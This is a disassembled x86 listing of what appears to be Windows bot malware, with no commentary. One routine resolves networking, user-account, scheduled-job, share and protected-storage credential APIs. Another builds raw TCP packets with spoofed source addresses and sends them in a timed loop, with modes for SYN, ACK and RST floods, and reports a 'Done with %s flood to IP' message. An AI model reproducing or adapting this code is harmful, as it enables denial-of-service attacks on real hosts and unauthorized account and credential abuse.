		cmp	dword_454274, ebx
		mov	dword_4543A8, eax
		jz	loc_40C327
		cmp	dword_4543B8, ebx
		jz	loc_40C327
		cmp	dword_454210, ebx
		jz	loc_40C327
		cmp	dword_4542B0, ebx
		jz	loc_40C327
		cmp	dword_454294, ebx
		jz	loc_40C327
		cmp	dword_454258, ebx
		jz	loc_40C327
		cmp	dword_454394, ebx
		jz	loc_40C327
		cmp	dword_4543B0, ebx
		jz	loc_40C327
		cmp	dword_4542AC, ebx
		jz	loc_40C327
		cmp	dword_45439C, ebx
		jz	loc_40C327
		cmp	dword_45434C, ebx
		jz	loc_40C327
		cmp	dword_454314, ebx
		jz	loc_40C327
		cmp	dword_454310, ebx
		jz	loc_40C327
		cmp	dword_454230, ebx
		jz	short loc_40C327
		cmp	dword_454350, ebx
		jz	short loc_40C327
		cmp	dword_454370, ebx
		jz	short loc_40C327
		cmp	dword_454330, ebx
		jz	short loc_40C327
		cmp	dword_4542E4, ebx
		jz	short loc_40C327
		cmp	dword_454344, ebx
		jz	short loc_40C327
		cmp	dword_4542FC, ebx
		jz	short loc_40C327
		cmp	dword_454340, ebx
		jz	short loc_40C327
		cmp	dword_4543A4, ebx
		jz	short loc_40C327
		cmp	dword_4542F0, ebx
		jz	short loc_40C327
		cmp	dword_4542A8, ebx
		jz	short loc_40C327
		cmp	dword_454324, ebx
		jz	short loc_40C327
		cmp	dword_454398, ebx
		jz	short loc_40C327
		cmp	dword_4542C0, ebx
		jz	short loc_40C327
		cmp	dword_4543AC, ebx
		jnz	short loc_40C331
		jmp	short loc_40C327
; ---------------------------------------------------------------------------


loc_40C31C:				; CODE XREF: sub_40BB43+51Dj
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_4543F8, eax


loc_40C327:				; CODE XREF: sub_40BB43+6C9j
					; sub_40BB43+6D5j ...
		mov	dword_4543F4, 1


loc_40C331:				; CODE XREF: sub_40BB43+7D5j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C450
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_42F13C
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_454238, eax
		call	esi ; dword_42F13C
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4541C4, eax
		call	esi ; dword_42F13C
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4542D4, eax
		call	esi ; dword_42F13C
		push	offset aFtpgetfilea ; "FtpGetFileA"
		push	edi
		mov	dword_454278, eax
		call	esi ; dword_42F13C
		push	offset aFtpputfilea ; "FtpPutFileA"
		push	edi
		mov	dword_45421C, eax
		call	esi ; dword_42F13C
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_454380, eax
		call	esi ; dword_42F13C
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4542E0, eax
		call	esi ; dword_42F13C
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_454298, eax
		call	esi ; dword_42F13C
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4541FC, eax
		call	esi ; dword_42F13C
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4541F4, eax
		call	esi ; dword_42F13C
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_454204, eax
		call	esi ; dword_42F13C
		cmp	dword_454238, ebx
		mov	ecx, dword_454298
		mov	dword_454348, eax
		jz	short loc_40C42C
		cmp	dword_4541C4, ebx
		jz	short loc_40C42C
		cmp	dword_4542D4, ebx
		jz	short loc_40C42C
		cmp	dword_454278, ebx
		jz	short loc_40C42C
		cmp	dword_4542E0, ebx
		jz	short loc_40C42C
		cmp	ecx, ebx
		jz	short loc_40C42C
		cmp	dword_4541FC, ebx
		jz	short loc_40C42C
		cmp	dword_4541F4, ebx
		jz	short loc_40C42C
		cmp	dword_454204, ebx
		jz	short loc_40C42C
		cmp	eax, ebx
		jnz	short loc_40C436


loc_40C42C:				; CODE XREF: sub_40BB43+8A7j
					; sub_40BB43+8AFj ...
		mov	dword_4543FC, 1


loc_40C436:				; CODE XREF: sub_40BB43+8E7j
		cmp	ecx, ebx
		jz	short loc_40C46B
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla5_0Comp ; "Mozilla/5.0 (compatible)"
		call	ecx ; dword_454298
		cmp	eax, ebx
		mov	dword_4542B8, eax
		jnz	short loc_40C46B
		jmp	short loc_40C465
; ---------------------------------------------------------------------------


loc_40C450:				; CODE XREF: sub_40BB43+7F9j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454400, eax
		mov	dword_4543FC, 1


loc_40C465:				; CODE XREF: sub_40BB43+90Bj
		mov	dword_4542B8, ebx


loc_40C46B:				; CODE XREF: sub_40BB43+8F5j
					; sub_40BB43+909j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C561
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_42F13C
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4541EC, eax
		call	esi ; dword_42F13C
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4541CC, eax
		call	esi ; dword_42F13C
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_454240, eax
		call	esi ; dword_42F13C
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_454280, eax
		call	esi ; dword_42F13C
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4543A0, eax
		call	esi ; dword_42F13C
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_45422C, eax
		call	esi ; dword_42F13C
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4541D0, eax
		call	esi ; dword_42F13C
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4541C8, eax
		call	esi ; dword_42F13C
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_45425C, eax
		call	esi ; dword_42F13C
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_45435C, eax
		call	esi ; dword_42F13C
		cmp	dword_4541EC, ebx
		mov	dword_454320, eax
		jz	short loc_40C56C
		cmp	dword_4541CC, ebx
		jz	short loc_40C56C
		cmp	dword_454240, ebx
		jz	short loc_40C56C
		cmp	dword_454280, ebx
		jz	short loc_40C56C
		cmp	dword_4543A0, ebx
		jz	short loc_40C56C
		cmp	dword_45422C, ebx
		jz	short loc_40C56C
		cmp	dword_4541D0, ebx
		jz	short loc_40C56C
		cmp	dword_4541C8, ebx
		jz	short loc_40C56C
		cmp	dword_45425C, ebx
		jz	short loc_40C56C
		cmp	dword_45435C, ebx
		jz	short loc_40C56C
		cmp	eax, ebx
		jnz	short loc_40C576
		jmp	short loc_40C56C
; ---------------------------------------------------------------------------


loc_40C561:				; CODE XREF: sub_40BB43+933j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454408, eax


loc_40C56C:				; CODE XREF: sub_40BB43+9CEj
					; sub_40BB43+9D6j ...
		mov	dword_454404, 1


loc_40C576:				; CODE XREF: sub_40BB43+A1Aj
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40C5AB
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_42F13C
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_454218, eax
		call	esi ; dword_42F13C
		cmp	dword_454218, ebx
		mov	dword_454308, eax
		jz	short loc_40C5B6
		cmp	eax, ebx
		jnz	short loc_40C5C0
		jmp	short loc_40C5B6
; ---------------------------------------------------------------------------


loc_40C5AB:				; CODE XREF: sub_40BB43+A3Ej
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454410, eax


loc_40C5B6:				; CODE XREF: sub_40BB43+A60j
					; sub_40BB43+A66j
		mov	dword_45440C, 1


loc_40C5C0:				; CODE XREF: sub_40BB43+A64j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C653
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_42F13C
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_454390, eax
		call	esi ; dword_42F13C
		push	offset aGetiftable ; "GetIfTable"
		push	edi
		mov	dword_45438C, eax
		call	esi ; dword_42F13C
		push	offset aGettcptable ; "GetTcpTable"
		push	edi
		mov	dword_4542DC, eax
		call	esi ; dword_42F13C
		push	offset aGetudptable ; "GetUdpTable"
		push	edi
		mov	dword_4542F4, eax
		call	esi ; dword_42F13C
		cmp	dword_454390, ebx
		mov	dword_454368, eax
		jz	short loc_40C636
		cmp	dword_45438C, ebx
		jz	short loc_40C636
		cmp	dword_4542DC, ebx
		jz	short loc_40C636
		cmp	eax, ebx
		jz	short loc_40C636
		cmp	dword_4542F4, ebx
		jnz	short loc_40C640


loc_40C636:				; CODE XREF: sub_40BB43+AD5j
					; sub_40BB43+ADDj ...
		mov	dword_454414, 1


loc_40C640:				; CODE XREF: sub_40BB43+AF1j
		push	offset aGetnetworkpara ; "GetNetworkParams"
		push	edi
		call	esi ; dword_42F13C
		cmp	eax, ebx
		mov	dword_4542A4, eax
		jnz	short loc_40C668
		jmp	short loc_40C65E
; ---------------------------------------------------------------------------


loc_40C653:				; CODE XREF: sub_40BB43+A88j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_45441C, eax


loc_40C65E:				; CODE XREF: sub_40BB43+B0Ej
		mov	dword_454414, 1


loc_40C668:				; CODE XREF: sub_40BB43+B0Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40C6C7
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_42F13C
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4543BC, eax
		call	esi ; dword_42F13C
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4543B4, eax
		call	esi ; dword_42F13C
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_454374, eax
		call	esi ; dword_42F13C
		cmp	dword_4543BC, ebx
		mov	dword_454234, eax
		jz	short loc_40C6D2
		cmp	dword_4543B4, ebx
		jz	short loc_40C6D2
		cmp	dword_454374, ebx
		jz	short loc_40C6D2
		cmp	eax, ebx
		jnz	short loc_40C6DC
		jmp	short loc_40C6D2
; ---------------------------------------------------------------------------


loc_40C6C7:				; CODE XREF: sub_40BB43+B30j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454424, eax


loc_40C6D2:				; CODE XREF: sub_40BB43+B6Cj
					; sub_40BB43+B74j ...
		mov	dword_454420, 1


loc_40C6DC:				; CODE XREF: sub_40BB43+B80j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40C711
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_42F13C
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_454270, eax
		call	esi ; dword_42F13C
		cmp	dword_454270, ebx
		mov	dword_454388, eax
		jz	short loc_40C71C
		cmp	eax, ebx
		jnz	short loc_40C726
		jmp	short loc_40C71C
; ---------------------------------------------------------------------------


loc_40C711:				; CODE XREF: sub_40BB43+BA4j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_45442C, eax


loc_40C71C:				; CODE XREF: sub_40BB43+BC6j
					; sub_40BB43+BCCj
		mov	dword_454428, 1


loc_40C726:				; CODE XREF: sub_40BB43+BCAj
		push	offset aPsapi_dll ; "psapi.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40C79B
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	edi
		call	esi ; dword_42F13C
		push	offset aGetmodulebasen ; "GetModuleBaseNameA"
		push	edi
		mov	dword_4542CC, eax
		call	esi ; dword_42F13C
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	edi
		mov	dword_454224, eax
		call	esi ; dword_42F13C
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	edi
		mov	dword_4542D0, eax
		call	esi ; dword_42F13C
		push	offset aGetprocessmemo ; "GetProcessMemoryInfo"
		push	edi
		mov	dword_45430C, eax
		call	esi ; dword_42F13C
		cmp	dword_454224, ebx
		mov	dword_454364, eax
		jz	short loc_40C790
		cmp	dword_4542D0, ebx
		jz	short loc_40C790
		cmp	dword_45430C, ebx
		jz	short loc_40C790
		cmp	eax, ebx
		jnz	short loc_40C7B0


loc_40C790:				; CODE XREF: sub_40BB43+C37j
					; sub_40BB43+C3Fj ...
		xor	edi, edi
		inc	edi
		mov	dword_454430, edi
		jmp	short loc_40C7B3
; ---------------------------------------------------------------------------


loc_40C79B:				; CODE XREF: sub_40BB43+BEEj
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454434, eax
		mov	dword_454430, 1


loc_40C7B0:				; CODE XREF: sub_40BB43+C4Bj
		xor	edi, edi
		inc	edi


loc_40C7B3:				; CODE XREF: sub_40BB43+C56j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	ebp ; dword_42F138
		cmp	eax, ebx
		jz	short loc_40C7D1
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	eax
		call	esi ; dword_42F13C
		cmp	eax, ebx
		mov	dword_4542EC, eax
		jnz	short loc_40C7E2
		jmp	short loc_40C7DC
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40BB43+C79j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_45443C, eax


loc_40C7DC:				; CODE XREF: sub_40BB43+C8Cj
		mov	dword_454438, edi


loc_40C7E2:				; CODE XREF: sub_40BB43+C8Aj
		push	offset aUserenv_dll ; "userenv.dll"
		call	ebp ; dword_42F138
		cmp	eax, ebx
		jz	short loc_40C800
		push	offset aGetuserprofile ; "GetUserProfileDirectoryA"
		push	eax
		call	esi ; dword_42F13C
		cmp	eax, ebx
		mov	dword_454334, eax
		jnz	short loc_40C811
		jmp	short loc_40C80B
; ---------------------------------------------------------------------------


loc_40C800:				; CODE XREF: sub_40BB43+CA8j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_454444, eax


loc_40C80B:				; CODE XREF: sub_40BB43+CBBj
		mov	dword_454440, edi


loc_40C811:				; CODE XREF: sub_40BB43+CB9j
		push	offset aShlwapi_dll ; "shlwapi.dll"
		call	ebp ; dword_42F138
		cmp	eax, ebx
		pop	ebp
		jz	short loc_40C830
		push	offset aPathremovefile ; "PathRemoveFileSpecA"
		push	eax
		call	esi ; dword_42F13C
		cmp	eax, ebx
		mov	dword_45429C, eax
		jnz	short loc_40C841
		jmp	short loc_40C83B
; ---------------------------------------------------------------------------


loc_40C830:				; CODE XREF: sub_40BB43+CD8j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_45444C, eax


loc_40C83B:				; CODE XREF: sub_40BB43+CEBj
		mov	dword_454448, edi


loc_40C841:				; CODE XREF: sub_40BB43+CE9j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C847	proc near		; DATA XREF: sub_403B2C+6A38o

var_268		= dword	ptr -268h
var_260		= byte ptr -260h
var_1E0		= byte ptr -1E0h
var_160		= byte ptr -160h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= word ptr -0B6h
var_9C		= byte ptr -9Ch
var_9B		= byte ptr -9Bh
var_88		= byte ptr -88h
var_78		= byte ptr -78h
var_70		= byte ptr -70h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= byte ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_268]
		rep movsd
		push	0Eh
		mov	dword ptr [eax+1A4h], 1
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9B]
		mov	[ebp+var_9C], bl
		mov	esi, [ebp+var_268]
		rep stosd
		stosw
		stosb
		mov	edi, dword_42F164
		mov	[ebp+var_2C], esi
		mov	[ebp+var_4C], 17h
		mov	[ebp+var_4A], 35h
		mov	[ebp+var_48], 50h
		mov	[ebp+var_46], 8Bh
		mov	[ebp+var_44], 0B3h
		mov	[ebp+var_42], 0CEAh
		call	edi ; dword_42F164
		push	eax
		call	sub_4220EF
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_454394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1C], eax
		jnz	short loc_40C8DB
		push	eax
		jmp	short loc_40C90C
; ---------------------------------------------------------------------------


loc_40C8DB:				; CODE XREF: sub_40C847+8Fj
		lea	ecx, [ebp+var_50]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_50], 1
		call	dword_4542F0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C909
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_45434C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C941


loc_40C909:				; CODE XREF: sub_40C847+AEj
		push	[ebp+var_1C]


loc_40C90C:				; CODE XREF: sub_40C847+92j
		call	dword_42F298	; closesocket
		push	[ebp+var_E0]
		call	sub_41C059
		pop	ecx
		mov	edi, offset dword_439638
		push	edi
		mov	ecx, esi
		call	sub_41074B
		push	offset dword_43963C
		push	edi
		mov	ecx, esi
		call	sub_410720
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C941:				; CODE XREF: sub_40C847+C0j
		push	8
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_40C972
		push	offset aStopped_ ; "Stopped."
		push	8
		push	ebx
		push	ebx
		push	[ebp+var_CC]
		lea	eax, [ebp+var_160]
		push	[ebp+var_C8]
		push	esi
		push	eax
		call	sub_41C090
		add	esp, 20h


loc_40C972:				; CODE XREF: sub_40C847+104j
		push	offset dword_4552D0
		call	dword_42F274	; gethostbyname
		mov	eax, [eax+0Ch]
		push	10h
		push	ebx
		mov	eax, [eax]
		mov	esi, [eax]
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+var_60], 2
		push	ebx
		call	dword_454314	; ntohs
		mov	[ebp+var_5E], ax
		lea	eax, [ebp+var_260]
		push	eax
		call	dword_45434C	; inet_addr
		mov	[ebp+var_5C], eax
		mov	[ebp+arg_0], ebx
		call	edi ; dword_42F164
		mov	[ebp+var_24], eax
		call	edi ; dword_42F164
		sub	eax, [ebp+var_24]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_D8]
		jbe	loc_40CA9D


loc_40C9D6:				; CODE XREF: sub_40C847+57Aj
		push	[ebp+var_1C]
		call	dword_4543AC	; closesocket
		cmp	[ebp+var_C8], ebx
		jnz	loc_40CA87
		cmp	[ebp+var_CC], ebx
		mov	esi, offset a8sxng_tdfrt ; "8sXNG.tDfrt/"
		mov	edi, offset aSDoneWithSFloo ; "%s Done with %s flood to	IP: %s.	Sent: "...
		jnz	short loc_40CA4A
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_D8]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_260]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	esi
		lea	eax, [ebp+var_160]
		push	edi
		push	eax
		push	[ebp+var_2C]
		call	sub_4104F6
		add	esp, 24h
		cmp	[ebp+var_C8], ebx
		jnz	short loc_40CA87
		cmp	[ebp+var_CC], ebx
		jz	short loc_40CA87


loc_40CA4A:				; CODE XREF: sub_40C847+1B4j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_D8]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_260]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	esi
		lea	eax, [ebp+var_160]
		push	edi
		push	eax
		push	[ebp+var_2C]
		call	sub_410491
		add	esp, 24h


loc_40CA87:				; CODE XREF: sub_40C847+19Ej
					; sub_40C847+1F9j ...
		push	[ebp+var_E0]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_40CA9A:				; CODE XREF: sub_40C847+574j
		mov	esi, [ebp+var_28]


loc_40CA9D:				; CODE XREF: sub_40C847+189j
		call	sub_4220FC
		cdq
		mov	ecx, 0FFh
		and	esi, 0FFFFFFh
		idiv	ecx
		push	2Ch
		mov	[ebp+var_40], 45h
		shl	edx, 18h
		or	edx, esi
		mov	[ebp+var_28], edx
		call	dword_454314	; ntohs
		or	[ebp+var_38], 0FFh
		xor	esi, esi
		inc	esi
		cmp	[ebp+var_D0], ebx
		mov	[ebp+var_3E], ax
		mov	[ebp+var_3C], si
		mov	[ebp+var_3A], bx
		mov	[ebp+var_37], 6
		mov	[ebp+var_36], bx
		jz	short loc_40CAEC
		mov	eax, [ebp+var_28]
		jmp	short loc_40CAF7
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40C847+29Ej
		push	offset dword_4552D0
		call	dword_45434C	; inet_addr


loc_40CAF7:				; CODE XREF: sub_40C847+2A3j
		cmp	[ebp+var_DC], ebx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_30], eax
		jnz	short loc_40CB18
		call	sub_4220FC
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40CB1E
; ---------------------------------------------------------------------------


loc_40CB18:				; CODE XREF: sub_40C847+2BFj
		push	[ebp+var_DC]


loc_40CB1E:				; CODE XREF: sub_40C847+2CFj
		call	dword_454314	; ntohs
		mov	[ebp+var_16], ax
		call	sub_4220FC
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_454314	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_454310	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1E0]
		push	offset aWy	; "wy"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CB71
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	loc_40CCA1
; ---------------------------------------------------------------------------


loc_40CB71:				; CODE XREF: sub_40C847+31Cj
		lea	eax, [ebp+var_1E0]
		push	offset aWak	; "wak"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CB94
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	loc_40CCA1
; ---------------------------------------------------------------------------


loc_40CB94:				; CODE XREF: sub_40C847+33Fj
		lea	eax, [ebp+var_1E0]
		push	offset aRst	; "rst"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CBB7
		mov	[ebp+var_10], esi
		mov	[ebp+var_B], 4
		jmp	loc_40CCA1
; ---------------------------------------------------------------------------


loc_40CBB7:				; CODE XREF: sub_40C847+362j
		lea	eax, [ebp+var_1E0]
		push	offset aWon	; "won"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CC64
		mov	[ebp+var_20], ebx


loc_40CBD5:				; CODE XREF: sub_40C847+415j
		call	sub_4220FC
		push	6
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, [ebp+edx*2+var_4C]
		push	eax
		call	dword_454314	; ntohs
		cmp	[ebp+var_20], ebx
		mov	[ebp+var_16], ax
		jnz	short loc_40CC06
		and	[ebp+var_4], 0EFh
		and	[ebp+var_4], 0EFh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_40CC52
; ---------------------------------------------------------------------------


loc_40CC06:				; CODE XREF: sub_40C847+3ACj
		push	0FFFFh
		push	ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_B], 4
		call	sub_41409E
		pop	ecx
		pop	ecx
		push	eax
		call	dword_454314	; ntohs
		shl	al, 4
		xor	al, [ebp+var_4]
		push	0FFFFh
		push	ebx
		mov	[ebp+var_10], esi
		and	al, 10h
		mov	[ebp+var_B], 4
		xor	[ebp+var_4], al
		call	sub_41409E
		pop	ecx
		pop	ecx
		push	eax
		call	dword_454314	; ntohs
		shl	al, 4
		xor	al, [ebp+var_4]
		and	al, 10h
		xor	[ebp+var_4], al


loc_40CC52:				; CODE XREF: sub_40C847+3BDj
		inc	[ebp+var_20]
		cmp	[ebp+var_20], 3FFh
		jl	loc_40CBD5
		jmp	short loc_40CCA1
; ---------------------------------------------------------------------------


loc_40CC64:				; CODE XREF: sub_40C847+385j
		lea	eax, [ebp+var_1E0]
		push	offset aRa_0	; "ra"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40CCA1
		call	sub_4220FC
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_4220FC
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0E4h
		add	dl, 20h
		mov	[ebp+var_B], dl


loc_40CCA1:				; CODE XREF: sub_40C847+325j
					; sub_40C847+348j ...
		push	1E61h
		mov	[ebp+var_C], 60h
		call	dword_454314	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_C0], eax
		mov	eax, [ebp+var_30]
		push	18h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_BC], eax
		mov	[ebp+var_B8], bl
		mov	[ebp+var_B7], 6
		call	dword_454314	; ntohs
		mov	[ebp+var_B6], ax
		lea	eax, [ebp+var_C0]
		push	24h
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_18]
		push	18h
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_9C]
		push	3Ch
		push	eax
		call	sub_414271
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_40]
		push	14h
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_18]
		push	18h
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4223F0
		push	4
		lea	eax, [ebp+var_70]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 44h
		lea	eax, [ebp+var_9C]
		push	2Ch
		push	eax
		call	sub_414271
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_40]
		push	14h
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4223F0
		add	esp, 14h
		lea	eax, [ebp+var_60]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_9C]
		push	3Ch
		push	eax
		push	[ebp+var_1C]
		call	dword_454370	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CDC6
		push	[ebp+var_D4]
		inc	[ebp+arg_0]
		call	dword_42F15C	; Sleep
		call	edi ; dword_42F164
		sub	eax, [ebp+var_24]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_D8]
		jbe	loc_40CA9A
		jmp	loc_40C9D6
; ---------------------------------------------------------------------------


loc_40CDC6:				; CODE XREF: sub_40C847+54Fj
		push	[ebp+var_1C]
		call	dword_4543AC	; closesocket
		push	[ebp+var_E0]
		call	sub_41C059
